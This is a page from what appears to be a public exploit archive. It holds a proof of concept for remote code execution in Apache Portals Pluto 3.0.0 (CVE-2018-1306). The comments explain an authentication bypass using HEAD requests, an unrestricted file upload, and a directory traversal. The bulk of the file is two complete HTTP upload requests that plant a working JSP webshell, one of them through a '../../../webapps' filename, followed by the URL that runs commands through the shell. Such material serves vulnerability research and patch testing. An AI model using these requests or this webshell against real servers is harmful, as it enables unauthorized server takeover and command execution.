2785d40187
12 changes to exploits/shellcodes Clone2Go Video to iPod Converter 2.5.0 - Denial of Service (PoC) MediaTek Wirless Utility rt2870 - Denial of Service (PoC) TeamViewer App 13.0.100.0 - Denial of Service (PoC) Linux 4.18 - Arbitrary Kernel Read into dmesg via Missing Address Check in segfault Handler InduSoft Web Studio 8.1 SP1 - 'Tag Name' Buffer Overflow (SEH) STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation Faleemi Desktop Software 1.8.2 - 'SavePath for ScreenShots' Buffer Overflow (SEH) Free MP3 CD Ripper 2.6 - '.mp3' Buffer Overflow (SEH) Socusoft Photo to Video Converter 8.07 - 'Registration Name' Buffer Overflow Chrome OS 10820.0.0 dev-channel - app->VM via garcon TCP Command Socket MyBB 1.8.17 - Cross-Site Scripting Apache Portals Pluto 3.0.0 - Remote Code Execution Apache Syncope 2.0.7 - Remote Code Execution
99 lines
No EOL
4.2 KiB
Text
99 lines
No EOL
4.2 KiB
Text
# Exploit Title: Apache Portals Pluto 3.0.0 - Remote Code Execution
|
|
# Date: 2018-09-12
|
|
# Exploit Author: Che-Chun Kuo
|
|
# Vendor Homepage: https://portals.apache.org/pluto/
|
|
# Software Link: http://archive.apache.org/dist/portals/pluto/
|
|
# Version: 3.0.0
|
|
# Tested on: Windows
|
|
# Advisory: https://portals.apache.org/pluto/security.html
|
|
# Other Vulnerability Types: Authentication bypass, directory traversal, arbitrary file upload
|
|
# CVE: CVE-2018-1306
|
|
|
|
# Vulnerability 1: Authentication bypass via HTTP verb tampering
|
|
# Description: Apache Pluto uses web.xml security constraints to control access to resources.
|
|
# These security constraints have been insecurely defined allowing authentication to be bypassed.
|
|
# When specific http methods are listed within a security constraint, then only those
|
|
# methods are protected. Pluto defines the following http methods: GET, POST, and PUT.
|
|
# Since the HEAD method is not listed, a request with a HTTP HEAD method effectively
|
|
# circumvents the security policy.
|
|
|
|
# Vulnerability 2: Remote code execution via arbitrary file upload
|
|
# Description: An attacker can call the PortletV3AnnotatedDemo Multipart Portlet and upload
|
|
# an arbitrary file. The uploaded file is directly accessible within
|
|
# the /PortletV3AnnotatedDemo/temp/ directory. This technique allows an unauthenticated
|
|
# attacker to install a malicious JSP file and remotely execute code on a server running Apache Pluto.
|
|
# Insecure Remediation: This vulnerability was mitigated by moving the /temp directory
|
|
# outside the /webapps directory and under the Tomcat directory.
|
|
|
|
# Vulnerability 3: Directory traversal in multipart file upload
|
|
# Description: Apache Pluto's multipart file uploader is vulnerable to directory traversal.
|
|
# An attacker is able to upload a file outside the default /temp directory to an arbitrary location
|
|
# on the filesystem. The following filename will drop a JSP webshell
|
|
# into the /webapps/pluto public directory: filename="../../../webapps/pluto/jspshell.jsp".
|
|
# Leveraging this technique, remote code execution via webshell is still possible despite
|
|
# remediation in Vulnerability 2.
|
|
|
|
# PROOF OF CONCEPT
|
|
# UPLOAD REQUEST 1 - TEMP DIR INSIDE WEBROOT
|
|
|
|
HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1
|
|
Host: localhost:8080
|
|
Content-Type: multipart/form-data; boundary=XX
|
|
Content-Length: 727
|
|
|
|
--XX
|
|
Content-Disposition: form-data; name="file"; filename="jspshell.jsp"
|
|
Content-Type: application/octet-stream
|
|
|
|
<FORM METHOD=GET ACTION='jspshell.jsp'>
|
|
CMD: <INPUT name='cmd' type=text value="cmd /c dir">
|
|
<INPUT type=submit value='Run'></FORM>
|
|
<%@ page import="java.io.*" %>
|
|
<%
|
|
String cmd = "whoami";
|
|
String param = request.getParameter("cmd");
|
|
if (param != null){ cmd = param; }
|
|
String s = null;
|
|
String output = "";
|
|
try {
|
|
Process p = Runtime.getRuntime().exec(cmd);
|
|
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
|
while((s = sI.readLine()) != null) { output += s+"\r\n"; }
|
|
} catch(IOException e) { e.printStackTrace(); }
|
|
%>
|
|
<pre><%=output %></pre>
|
|
--XX--
|
|
|
|
# UPLOAD REQUEST 2 - TEMP DIR OUTSIDE WEBROOT
|
|
|
|
HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%21-1517407963%7C0;0/__ac0 HTTP/1.1
|
|
Host: localhost:8080
|
|
Content-Type: multipart/form-data; boundary=XX
|
|
Content-Length: 748
|
|
|
|
--XX
|
|
Content-Disposition: form-data; name="file"; filename="../../../webapps/pluto/jspshell.jsp"
|
|
Content-Type: application/octet-stream
|
|
|
|
<FORM METHOD=GET ACTION='jspshell.jsp'>
|
|
CMD: <INPUT name='cmd' type=text value="cmd /c dir">
|
|
<INPUT type=submit value='Run'></FORM>
|
|
<%@ page import="java.io.*" %>
|
|
<%
|
|
String cmd = "whoami";
|
|
String param = request.getParameter("cmd");
|
|
if (param != null){ cmd = param; }
|
|
String s = null;
|
|
String output = "";
|
|
try {
|
|
Process p = Runtime.getRuntime().exec(cmd);
|
|
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
|
while((s = sI.readLine()) != null) { output += s+"\r\n"; }
|
|
} catch(IOException e) { e.printStackTrace(); }
|
|
%>
|
|
<pre><%=output %></pre>
|
|
--XX--
|
|
|
|
# EXECUTE CMD
|
|
----------------------------------------
|
|
http://localhost:8080/pluto/jspshell.jsp?cmd=hostname |